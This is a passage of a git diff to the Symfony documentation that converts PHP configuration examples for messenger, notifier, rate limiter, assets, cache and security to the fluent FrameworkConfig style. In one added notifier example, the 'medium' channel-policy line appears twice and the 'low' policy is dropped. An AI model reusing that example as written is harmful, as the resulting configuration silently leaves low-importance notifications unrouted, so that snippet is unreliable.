-                            'delay' => 1000,
-                            // causes the delay to be higher before each retry
-                            // e.g. 1 second delay, 2 seconds, 4 seconds
-                            'multiplier' => 2,
-                            'max_delay' => 0,
-                            // override all of this with a service that
-                            // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
-                            // 'service' => null,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                // default configuration
+                ->retryStrategy()
+                    ->maxRetries(3)
+                    // milliseconds delay
+                    ->delay(1000)
+                    // causes the delay to be higher before each retry
+                    // e.g. 1 second delay, 2 seconds, 4 seconds
+                    ->multiplier(2)
+                    ->maxDelay(0)
+                    // override all of this with a service that
+                    // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
+                    ->service(null)
+            ;
+        };
 
 .. tip::
 
@@ -833,20 +823,19 @@ be discarded. To avoid this happening, you can instead configure a ``failure_tra
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // after retrying, messages will be sent to the "failed" transport
-                'failure_transport' => 'failed',
-
-                'transports' => [
-                    // ... other transports
-
-                    'failed' => [
-                        'dsn' => 'doctrine://default?queue_name=failed',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            $messenger->failureTransport('failed');
+
+            // ... other transports
+
+            $messenger->transport('failed')
+                ->dsn('doctrine://default?queue_name=failed');
+        };
 
 In this example, if handling a message fails 3 times (default ``max_retries``),
 it will then be sent to the ``failed`` transport. While you *can* use
@@ -900,8 +889,8 @@ override the failure transport for only specific transports:
         # config/packages/messenger.yaml
         framework:
             messenger:
-                # after retrying, messages will be sent to the "failed" transport 
-                # by default if no "failed_transport" is configured inside a transport 
+                # after retrying, messages will be sent to the "failed" transport
+                # by default if no "failed_transport" is configured inside a transport
                 failure_transport: failed_default
 
                 transports:
@@ -915,7 +904,7 @@ override the failure transport for only specific transports:
                         dsn: 'doctrine://default?queue_name=async_priority_low'
 
                     failed_default: 'doctrine://default?queue_name=failed_default'
-                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority' 
+                    failed_high_priority: 'doctrine://default?queue_name=failed_high_priority'
 
     .. code-block:: xml
 
@@ -930,14 +919,14 @@ override the failure transport for only specific transports:
                 https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
             <framework:config>
-                <!-- after retrying, messages will be sent to the "failed" transport 
+                <!-- after retrying, messages will be sent to the "failed" transport
                 by default if no "failed-transport" is configured inside a transport -->
                 <framework:messenger failure-transport="failed_default">
-                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/> 
+                    <framework:transport name="async_priority_high" dsn="%env(MESSENGER_TRANSPORT_DSN)%" failure-transport="failed_high_priority"/>
                     <!-- since no "failed_transport" is configured, the one used will be
                     the global "failed_transport" set -->
                     <framework:transport name="async_priority_low" dsn="doctrine://default?queue_name=async_priority_low"/>
-                    
+
                     <framework:transport name="failed_default" dsn="doctrine://default?queue_name=failed_default"/>
                     <framework:transport name="failed_high_priority" dsn="doctrine://default?queue_name=failed_high_priority"/>
                 </framework:messenger>
@@ -947,31 +936,30 @@ override the failure transport for only specific transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // after retrying, messages will be sent to the "failed" transport 
-                // by default if no "failure_transport" is configured inside a transport
-                'failure_transport' => 'failed_default',
-
-                'transports' => [
-                    'async_priority_high' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'failure_transport' => 'failed_high_priority'
-                    ],
-                    // since no failed transport is configured, the one used will be
-                    // the global failure_transport set 
-                    'async_priority_low' => [
-                        'dsn' => 'doctrine://default?queue_name=async_priority_low',
-                    ],
-                    'failed_default' => [
-                        'dsn' => 'doctrine://default?queue_name=failed_default',
-                    ],
-                    'failed_high_priority' => [
-                        'dsn' => 'doctrine://default?queue_name=failed_high_priority',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            // after retrying, messages will be sent to the "failed" transport
+            // by default if no "failure_transport" is configured inside a transport
+            $messenger->failureTransport('failed_default');
+
+            $messenger->transport('async_priority_high')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->failureTransport('failed_high_priority');
+
+            // since no failed transport is configured, the one used will be
+            // the global failure_transport set
+           $messenger->transport('async_priority_low')
+                ->dsn('doctrine://default?queue_name=async_priority_low');
+
+           $messenger->transport('failed_default')
+                ->dsn('doctrine://default?queue_name=failed_default');
+
+           $messenger->transport('failed_high_priority')
+                ->dsn('doctrine://default?queue_name=failed_high_priority');
+        };
 
 If there is no ``failure_transport`` defined globally or on the transport level,
 the messages will be discarded after the number of retries.
@@ -1040,18 +1028,15 @@ options. Options can be passed to the transport via a DSN string or configuratio
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'my_transport' => [
-                        'dsn' => '%env(MESSENGER_TRANSPORT_DSN)%',
-                        'options' => [
-                            'auto_setup' => false,
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('my_transport')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->options(['auto_setup' => false]);
+        };
 
 Options defined under ``options`` take precedence over ones defined in the DSN.
 
@@ -1454,15 +1439,14 @@ override it in the ``test`` environment to use this transport:
     .. code-block:: php
 
         // config/packages/test/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => 'in-memory://',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')
+                ->dsn('in-memory://');
+        };
 
 Then, while testing, messages will *not* be delivered to the real transport.
 Even better, in a test, you can check that exactly one message was sent
@@ -1643,23 +1627,21 @@ this globally (or for each transport) to a service that implements
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'serializer' => [
-                    'default_serializer' => 'messenger.transport.symfony_serializer',
-                    'symfony_serializer' => [
-                        'format' => 'json',
-                        'context' => [],
-                    ],
-                ],
-                'transports' => [
-                    'async_priority_normal' => [
-                        'dsn' => ...,
-                        'serializer' => 'messenger.transport.symfony_serializer',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->serializer()
+                ->defaultSerializer('messenger.transport.symfony_serializer')
+                ->symfonySerializer()
+                    ->format('json')
+                    ->context('foo', 'bar');
+
+            $messenger->transport('async_priority_normal')
+                ->dsn(...)
+                ->serializer('messenger.transport.symfony_serializer');
+        };
 
 The ``messenger.transport.symfony_serializer`` is a built-in service that uses
 the :doc:`Serializer component </serializer>` and can be configured in a few ways.
@@ -1881,17 +1863,17 @@ Then, make sure to "route" your message to *both* transports:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'async_priority_normal' => '...',
-                    'image_transport' => '...',
-                ],
-                'routing' => [
-                    'App\Message\UploadedImage' => ['image_transport', 'async_priority_normal'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async_priority_normal')->dsn(...);
+            $messenger->transport('image_transport')->dsn(...);
+
+            $messenger->routing('App\Message\UploadedImage')
+                ->senders(['image_transport', 'async_priority_normal']);
+        };
 
 That's it! You can now consume each transport:
 
@@ -2024,22 +2006,16 @@ middleware and *only* include your own:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'messenger.bus.default' => [
-                        // disable the default middleware
-                        'default_middleware' => false,
-
-                        // and/or add your own
-                        'middleware' => [
-                            'App\Middleware\MyMiddleware',
-                            'App\Middleware\AnotherMiddleware',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('messenger.bus.default')
+                ->defaultMiddleware(false);
+            $bus->middleware()->id('App\Middleware\MyMiddleware');
+            $bus->middleware()->id('App\Middleware\AnotherMiddleware');
+        };
 
 .. note::
 
@@ -2118,21 +2094,19 @@ may want to use:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'doctrine_transaction',
-                            'doctrine_ping_connection',
-                            'doctrine_close_connection',
-                            // Using another entity manager
-                            ['id' => 'doctrine_transaction', 'arguments' => ['custom']],
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('doctrine_transaction');
+            $bus->middleware()->id('doctrine_ping_connection');
+            $bus->middleware()->id('doctrine_close_connection');
+            // Using another entity manager
+            $bus->middleware()->id('doctrine_transaction')
+                ->arguments(['custom']);
+        };
 
 Other Middlewares
 ~~~~~~~~~~~~~~~~~
@@ -2182,17 +2156,14 @@ when building absolute URLs.
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'buses' => [
-                    'command_bus' => [
-                        'middleware' => [
-                            'router_context',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $bus = $messenger->bus('command_bus');
+            $bus->middleware()->id('router_context');
+        };
 
 
 Messenger Events
diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index be41d63a41e..f43f347e642 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -203,13 +203,14 @@ named transport using your own DSN:
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                'transports' => [
-                    'yours' => 'my-transport://...',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->messenger()
+                ->transport('yours')
+                    ->dsn('my-transport://...')
+            ;
+        };
 
 In addition of being able to route your messages to the ``yours`` sender, this
 will give you access to the following services:
diff --git a/messenger/multiple_buses.rst b/messenger/multiple_buses.rst
index fc61a0c9dd2..5a1ffecf94c 100644
--- a/messenger/multiple_buses.rst
+++ b/messenger/multiple_buses.rst
@@ -74,33 +74,25 @@ an **event bus**. The event bus could have zero or more subscribers.
     .. code-block:: php
 
         // config/packages/messenger.php
-        $container->loadFromExtension('framework', [
-            'messenger' => [
-                // The bus that is going to be injected when injecting MessageBusInterface
-                'default_bus' => 'command.bus',
-                'buses' => [
-                    'command.bus' => [
-                        'middleware' => [
-                            'validation',
-                            'doctrine_transaction',
-                        ],
-                    ],
-                    'query.bus' => [
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                    'event.bus' => [
-                        // the 'allow_no_handlers' middleware allows to have no handler
-                        // configured for this bus without throwing an exception
-                        'default_middleware' => 'allow_no_handlers',
-                        'middleware' => [
-                            'validation',
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // The bus that is going to be injected when injecting MessageBusInterface
+            $framework->messenger()->defaultBus('command.bus');
+
+            $commandBus = $framework->messenger()->bus('command.bus');
+            $commandBus->middleware()->id('validation');
+            $commandBus->middleware()->id('doctrine_transaction');
+
+            $queryBus = $framework->messenger()->bus('query.bus');
+            $queryBus->middleware()->id('validation');
+
+            $eventBus = $framework->messenger()->bus('event.bus');
+            // the 'allow_no_handlers' middleware allows to have no handler
+            // configured for this bus without throwing an exception
+            $eventBus->defaultMiddleware('allow_no_handlers');
+            $eventBus->middleware()->id('validation');
+        };
 
 This will create three new services:
 
diff --git a/notifier.rst b/notifier.rst
index 5bbd12252a2..c552d757dff 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -132,14 +132,14 @@ configure the ``texter_transports``:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'texter_transports' => [
-                    'twilio' => '%env(TWILIO_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->texterTransport('twilio', '%env(TWILIO_DSN)%')
+            ;
+        };
 
 .. _notifier-chat-channel:
 .. _notifier-chatter-dsn:
@@ -224,14 +224,14 @@ Chatters are configured using the ``chatter_transports`` setting:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    'slack' => '%env(SLACK_DSN)%',
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                ->chatterTransport('slack', '%env(SLACK_DSN)%')
+            ;
+        };
 
 .. _notifier-email-channel:
 
@@ -288,15 +288,16 @@ notification emails:
 
     .. code-block:: php
 
-        # config/packages/mailer.php
-        $container->loadFromExtension('framework', [
-            'mailer' => [
-                'dsn' => '%env(MAILER_DSN)%',
-                'envelope' => [
-                    'sender' => 'notifications@example.com',
-                ],
-            ],
-        ]);
+        // config/packages/mailer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->mailer()
+                ->dsn('%env(MAILER_DSN)%')
+                ->envelope()
+                    ->sender('notifications@example.com')
+            ;
+        };
 
 Configure to use Failover or Round-Robin Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -351,19 +352,19 @@ transport:
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                'chatter_transports' => [
-                    // Send notifications to Slack and use Telegram if
-                    // Slack errored
-                    'main' => '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%',
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
 
-                    // Send notifications to the next scheduled transport calculated by round robin
-                    'roundrobin' => '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%',
-                ],
-            ],
-        ]);
+        return static function (FrameworkConfig $framework) {
+            $framework->notifier()
+                // Send notifications to Slack and use Telegram if
+                // Slack errored
+                ->chatterTransport('main', '%env(SLACK_DSN)% || %env(TELEGRAM_DSN)%')
+
+                // Send notifications to the next scheduled transport calculated by round robin
+                ->chatterTransport('roundrobin', '%env(SLACK_DSN)% && %env(TELEGRAM_DSN)%')
+            ;
+        };
 
 Creating & Sending Notifications
 --------------------------------
@@ -495,23 +496,21 @@ specify what channels should be used for specific levels (using
 
     .. code-block:: php
 
-        # config/packages/notifier.php
-        $container->loadFromExtension('framework', [
-            'notifier' => [
-                // ...
-                'channel_policy' => [
-                    // Use SMS, Slack and email for urgent notifications
-                    'urgent' => ['sms', 'chat/slack', 'email'],
-
-                    // Use Slack for highly important notifications
-                    'high' => ['chat/slack'],
-
-                    // Use browser for medium and low notifications
-                    'medium' => ['browser'],
-                    'low' => ['browser'],
-                ],
-            ],
-        ]);
+        // config/packages/notifier.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->notifier()
+                // Use SMS, Slack and email for urgent notifications
+                ->channelPolicy('urgent', ['sms', 'chat/slack', 'email'])
+                // Use Slack for highly important notifications
+                ->channelPolicy('high', ['chat/slack'])
+                // Use browser for medium and low notifications
+                ->channelPolicy('medium', ['browser'])
+                ->channelPolicy('medium', ['browser'])
+            ;
+        };
 
 Now, whenever the notification's importance is set to "high", it will be
 sent using the Slack transport::
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 2ab832d7031..96f0cd0e5e0 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -177,21 +177,26 @@ enforce different levels of service (free or paid):
     .. code-block:: php
 
         // config/packages/rate_limiter.php
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                'anonymous_api' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
                     // use 'sliding_window' if you prefer that policy
-                    'policy' => 'fixed_window',
-                    'limit' => 100,
-                    'interval' => '60 minutes',
-                ],
-                'authenticated_api' => [
-                    'policy' => 'token_bucket',
-                    'limit' => 5000,
-                    'rate' => [ 'interval' =>  '15 minutes', 'amount' =>  500 ],
-                ],
-            ],
-        ]);
+                    ->policy('fixed_window')
+                    ->limit(100)
+                    ->interval('60 minutes')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('authenticated_api')
+                    ->policy('token_bucket')
+                    ->limit(5000)
+                    ->rate()
+                        ->interval('15 minutes')
+                        ->amount(500)
+                ;
+        };
 
 .. note::
 
@@ -409,16 +414,17 @@ Use the ``cache_pool`` option to override the cache used by a specific limiter
     .. code-block:: php
 
         // config/packages/rate_limiter.php
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                'anonymous_api' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
                     // ...
 
                     // use the "cache.anonymous_rate_limiter" cache pool
-                    'cache_pool' => 'cache.anonymous_rate_limiter',
-                ],
-            ],
-        ]);
+                    ->cachePool('cache.anonymous_rate_limiter')
+                ;
+        };
 
 .. note::
 
@@ -483,16 +489,17 @@ you can use a specific :ref:`named lock <lock-named-locks>` via the
     .. code-block:: php
 
         // config/packages/rate_limiter.php
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                'anonymous_api' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
                     // ...
 
                     // use the "lock.rate_limiter.factory" for this limiter
-                    'lock_factory' => 'lock.rate_limiter.factory',
-                ],
-            ],
-        ]);
+                    ->lockFactory('lock.rate_limiter.factory')
+                ;
+        };
 
 .. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
 .. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 3b2f97a9156..0ca87286119 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -454,9 +454,11 @@ doubling them to prevent Symfony from interpreting them as container parameters)
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'ide' => 'myide://open?url=file://%%f&line=%%l',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->ide('myide://open?url=file://%%f&line=%%l');
+        };
 
 Since every developer uses a different IDE, the recommended way to enable this
 feature is to configure it on a system level. This can be done by setting the
@@ -596,9 +598,11 @@ the application won't respond and the user will receive a 400 response.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'trusted_hosts' => ['^example\.com$', '^example\.org$'],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->trustedHosts(['^example\.com$', '^example\.org$']);
+        };
 
 Hosts can also be configured to respond to any subdomain, via
 ``^(.+\.)?example\.com$`` for instance.
@@ -724,9 +728,11 @@ You can also set ``esi`` to ``true`` to enable it:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'esi' => true,
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->esi()->enabled(true);
+        };
 
 fragments
 ~~~~~~~~~
@@ -1359,13 +1365,12 @@ To configure a ``jsonp`` format:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'request' => [
-                'formats' => [
-                    'jsonp' => 'application/javascript',
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->request()
+                ->format('jsonp', 'application/javascript');
+        };
 
 router
 ~~~~~~
@@ -1720,11 +1725,12 @@ setting the value to ``null``:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'save_path' => null,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->savePath(null);
+        };
 
 .. _reference-session-metadata-update-threshold:
 
@@ -1774,11 +1780,12 @@ Whether to enable the session support in the framework.
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
-                'enabled' => true,
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
+                ->enabled(true);
+        };
 
 use_cookies
 ...........
@@ -1830,12 +1837,13 @@ This option allows you to define a base path to be used for assets:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_path' => '/images',
-            ],
-        ]);
+            $framework->assets()
+                ->basePath('/images');
+        };
 
 .. _reference-templating-base-urls:
 .. _reference-assets-base-urls:
@@ -1879,12 +1887,13 @@ collection each time it generates an asset's path:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_urls' => ['http://cdn.example.com/'],
-            ],
-        ]);
+            $framework->assets()
+                ->baseUrls(['http://cdn.example.com/']);
+        };
 
 .. _reference-framework-assets-packages:
 
@@ -1928,16 +1937,14 @@ You can group assets into packages, to specify different base URLs for them:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'packages' => [
-                    'avatars' => [
-                        'base_urls' => 'http://static_cdn.example.com/avatars',
-                    ],
-                ],
-            ],
-        ]);
+            $framework->assets()
+                ->package('avatars')
+                    ->baseUrls(['http://static_cdn.example.com/avatars']);
+        };
 
 Now you can use the ``avatars`` package in your templates:
 
@@ -2005,12 +2012,13 @@ Now, activate the ``version`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version' => 'v2',
-            ],
-        ]);
+            $framework->assets()
+                ->version('v2');
+        };
 
 Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
 this feature, you **must** manually increment the ``version`` value
@@ -2132,25 +2140,25 @@ individually for each asset package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
-                'version_strategy' => 'app.asset.my_versioning_strategy',
-                'packages' => [
-                    'foo_package' => [
-                        // this package removes any versioning (its assets won't be versioned)
-                        'version' => null,
-                    ],
-                    'bar_package' => [
-                        // this package uses its own strategy (the default strategy is ignored)
-                        'version_strategy' => 'app.asset.another_version_strategy',
-                    ],
-                    'baz_package' => [
-                        // this package inherits the default strategy
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
+                ->versionStrategy('app.asset.my_versioning_strategy');
+
+            $framework->assets()->package('foo_package')
+                // this package removes any versioning (its assets won't be versioned)
+                ->version(null);
+
+            $framework->assets()->package('bar_package')
+                // this package uses its own strategy (the default strategy is ignored)
+                ->versionStrategy('app.asset.another_version_strategy');
+
+            $framework->assets()->package('baz_package')
+                // this package inherits the default strategy
+                ->basePath('/images');
+        };
 
 .. note::
 
@@ -2229,24 +2237,24 @@ package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
                 // this manifest is applied to every asset (including packages)
-                'json_manifest_path' => '%kernel.project_dir%/public/build/manifest.json',
-                // you can use absolute URLs too and Symfony will download them automatically
-                // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
-                'packages' => [
-                    'foo_package' => [
-                        // this package uses its own manifest (the default file is ignored)
-                        'json_manifest_path' => '%kernel.project_dir%/public/build/a_different_manifest.json',
-                    ],
-                    'bar_package' => [
-                        // this package uses the global manifest (the default file is used)
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+
+            // you can use absolute URLs too and Symfony will download them automatically
+            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
+            $framework->assets()->package('foo_package')
+                // this package uses its own manifest (the default file is ignored)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json');
+
+            $framework->assets()->package('bar_package')
+                // this package uses the global manifest (the default file is used)
+                ->basePath('/images');
+        };
 
 .. versionadded:: 5.1
 
@@ -2335,11 +2343,12 @@ performance a bit:
     .. code-block:: php
 
         // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'enabled_locales' => ['en', 'es'],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->translator()
+                ->enabledLocales(['en', 'es']);
+        };
 
 If some user makes requests with a locale not included in this option, the
 application won't display any error because Symfony will display contents using
@@ -2621,15 +2630,13 @@ the component will look for additional validation files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'mapping' => [
-                    'paths' => [
-                        '%kernel.project_dir%/config/validation/',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->mapping()
+                    ->paths(['%kernel.project_dir%/config/validation/']);
+        };
 
 annotations
 ~~~~~~~~~~~
@@ -2927,16 +2934,14 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.mycache' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'default_lifetime' => 3600,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.mycache')
+                    ->adapters(['cache.adapter.redis'])
+                    ->defaultLifetime(3600);
+        };
 
 .. _reference-cache-pools-name:
 
@@ -3094,9 +3099,12 @@ A list of lock stores to be created by the framework extension.
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => '%env(LOCK_DSN)%',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['%env(LOCK_DSN)%']);
+        };
 
 .. seealso::
 
@@ -3281,11 +3289,14 @@ A list of workflows to be created by the framework extension:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'my_workflow' => // ...
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->workflows()
+                ->workflows('my_workflow')
+                    // ...
+            ;
+        };
 
 .. seealso::
 
diff --git a/security.rst b/security.rst
index 9368c4464ef..57c306fb26d 100644
--- a/security.rst
+++ b/security.rst
@@ -680,43 +680,41 @@ and set the ``limiter`` option to its service ID:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Component\DependencyInjection\ContainerBuilder;
         use Symfony\Component\DependencyInjection\Reference;
         use Symfony\Component\Security\Http\RateLimiter\DefaultLoginRateLimiter;
+        use Symfony\Config\FrameworkConfig;
+        use Symfony\Config\SecurityConfig;
+
+        return static function (ContainerBuilder $container, FrameworkConfig $framework, SecurityConfig $security) {
+            $framework->rateLimiter()
+                ->limiter('username_ip_login')
+                    ->policy('token_bucket')
+                    ->limit(5)
+                    ->rate()
+                        ->interval('5 minutes')
+            ;
 
-        $container->loadFromExtension('framework', [
-            'rate_limiter' => [
-                // define 2 rate limiters (one for username+IP, the other for IP)
-                'username_ip_login' => [
-                    'policy' => 'token_bucket',
-                    'limit' => 5,
-                    'rate' => [ 'interval' => '5 minutes' ],
